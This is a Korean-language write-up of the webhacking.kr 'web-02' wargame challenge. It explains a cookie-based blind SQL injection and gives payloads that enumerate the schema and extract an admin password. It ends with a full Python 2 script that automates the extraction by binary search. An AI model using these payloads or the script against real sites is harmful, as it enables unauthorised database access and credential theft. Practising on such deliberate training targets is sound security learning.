쿠키 time값을 이용한 Blind sqli로 추정. True값이 09:00:01이고 False값이 09:00:00인 것으로 보인다.
대충 쿼리가 SELECT FROM_UNIXTIME({내가 보낸 쿠키 time 값}) 과 같은 방식일 것으로 예상된다.
일단 DB명도 모르기 때문에, information_schema로 찾아때려야 하는데,
select FROM_UNIXTIME(157102695 and IF((select LENGTH(table_schema) from information_schema.tables group by table_schema limit 7,1) > 0,1,0))
대충 요런 식으로 db개수를 알아내보자. 마지막에 limit으로 확인을 할 수 있다.
limit 1,1까지는 true가 나오고, limit 2,1부터는 false가 나온다.
즉 db개수는 2개이다.
그리고 첫번째 db의 이름의 길이는 6이다.
두번째 db길이는 18인걸로 봐서는 information_schema인듯
select ascii(substr(table_schema, 3,1)) from information_schema.tables group by table_schema limit 0,1
1번째 디비 이름의 3번째 글자 아스키값 리턴을 하는 쿼리이다.
이런식으로 글자 하나하나씩 알아내어 db이름을 알아낼 수가 있다.
select FROM_UNIXTIME(157102695 and IF((select ascii(substr(table_schema, 3,1)) from information_schema.tables group by table_schema limit 0,1) > 102,1,0))
위 쿼리는 1번째 디비 3번째 아스키값은 102보다 크다? 라는 쿼리이다.
쿼리로 알아내면 db 이름은 chall2이다.
이제 테이블 명을 알아내야하는데,
select if((select length(table_name) from information_schema.tables where table_schema="new_schema" group by table_name limit 0,1) > 0, 1, 0)
여기에 if구문 앞에 and만 붙여서 쿼리로 넣으면 된다. 마지막 limit뒤에 0 숫자를 바꿔서 테이블 개수를 알아낼수가 있다.
chall2의 테이블의 개수는 2개이다.
이제 테이블 이름의 길이와 이름을 알아내야 한다.... 노가다!!
select FROM_UNIXTIME(157102695 and if((select length(table_name) from tables where table_schema="new_schema" group by table_name limit 0,1) > 0, 1, 0))
첫번째 테이블의 이름은 길이가 13이다.
두번째 테이블의 이름은 길이가 3이다.
이제 한땀한땀 글자를 알아내야한다.
첫 테이블이름은 admin_area_pw
두번째는 log이다.
admin_area_pw의 컬럼은 1개뿐이다. 컬럼 길이는 2이다.
컬럼 이름은 pw이다.
pw의 row값은 길이가 17이다.
마지막으로 pw의 값 또한 위에서 db이름과 테이블 이름을 알아낸것 처럼 한땀 한땀 blind sqli로 알아내면 된다.
#!/usr/bin/env python
import urllib2
import urllib
url = "https://webhacking.kr/challenge/web-02/"
cookie = "PHPSESSID=j1gqc4lopk8ge3331ehiq9shhf; time=1571026965 "
ua = "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.132 Safari/537.36"
truePhrase = "2070-01-01 09:00:01"
def query(payload):
ccookie = cookie + urllib2.quote(payload)
req = urllib2.Request(url)
req.add_header('cookie', ccookie)
req.add_header("User-Agent", ua)
res = urllib2.urlopen(req)
content = res.read()
# print ccookie
# print content
return truePhrase in content
def find_db_name_len(db_index):
left = 0
right = 200
# range (left, right]
while left + 1 < right:
mid = (left+right)//2
print "{}, {}, {}".format(left, mid, right)
payload = "and if((select length(table_schema) from information_schema.tables group by table_schema limit {},1) > {}, 1, 0)".format(db_index, mid)
if query(payload):
left = mid
else:
right = mid
return right
def find_db_name(db_index):
if db_index == 1:
return "chall2"
# db_name_len = find_db_name_len(db_index)
db_name_len = 6
db_name = ""
for pos in range(1, db_name_len+1):
left = 0
right = 200
while left + 1 < right:
mid = (left+right)//2
print "{}, {}, {}".format(left, mid, right)
payload = "and if((select ascii(substr(table_schema,{},1)) from information_schema.tables group by table_schema limit {},1)>{},1,0)".format(pos, db_index, mid)
if query(payload):
left = mid
else:
right = mid
db_name += chr(right)
return db_name
# print find_db_name(0)
def find_table_name_length(db_name, table_index):
left = 0
right = 200
while left + 1 < right:
mid = (left+right)//2
payload = "and if((select length(table_name) from information_schema.tables where table_schema='{}' group by table_name limit {},1)>{},1,0)".format(db_name, table_index, mid)
if query(payload):
left = mid
else:
right = mid
return right
# print find_table_name_length('chall2', 0)
# print find_table_name_length('chall2', 1)
def find_table_name(db_name, table_index):
table_name_len = find_table_name_length(db_name, table_index)
table_name = ""
for pos in range(1, table_name_len + 1):
left = 0
right = 200
while left + 1 < right:
mid = (left+right)//2
payload = "and if((select ascii(substr(table_name,{},1)) from information_schema.tables where table_schema='{}' group by table_name limit {},1)>{},1,0)".format(pos, db_name, table_index, mid)
if query(payload):
left = mid
else:
right = mid
table_name += chr(right)
return table_name
# print find_table_name('chall2', 0)
# print find_table_name('chall2', 1)
def find_column_name(db_name, table_name):
col_name = ""
for pos in range(1, 3):
left = 0
right = 200
while left + 1 < right:
mid = (left+right)//2
payload = "and if((select ascii(substr(column_name,{},1)) from information_schema.columns where table_schema='{}' and table_name='{}' group by column_name limit 0,1)>{},1,0)".format(pos, db_name, table_name, mid)
if query(payload):
left = mid
else:
right = mid
col_name += chr(right)
return col_name
def find_pw():
pw = ""
for pos in range(1, 18):
left = 0
right =200
while left + 1 < right:
mid = (left+right)//2
payload = "and if((select ascii(substr(pw,{},1)) from chall2.admin_area_pw limit 1, 1)>{},1,0)".format(pos,mid)
if query(payload):
left = mid
else:
right = mid
pw += chr(right)
print chr(right)
return pw
# print find_column_name("chall2", "admin_area_pw")
print find_pw()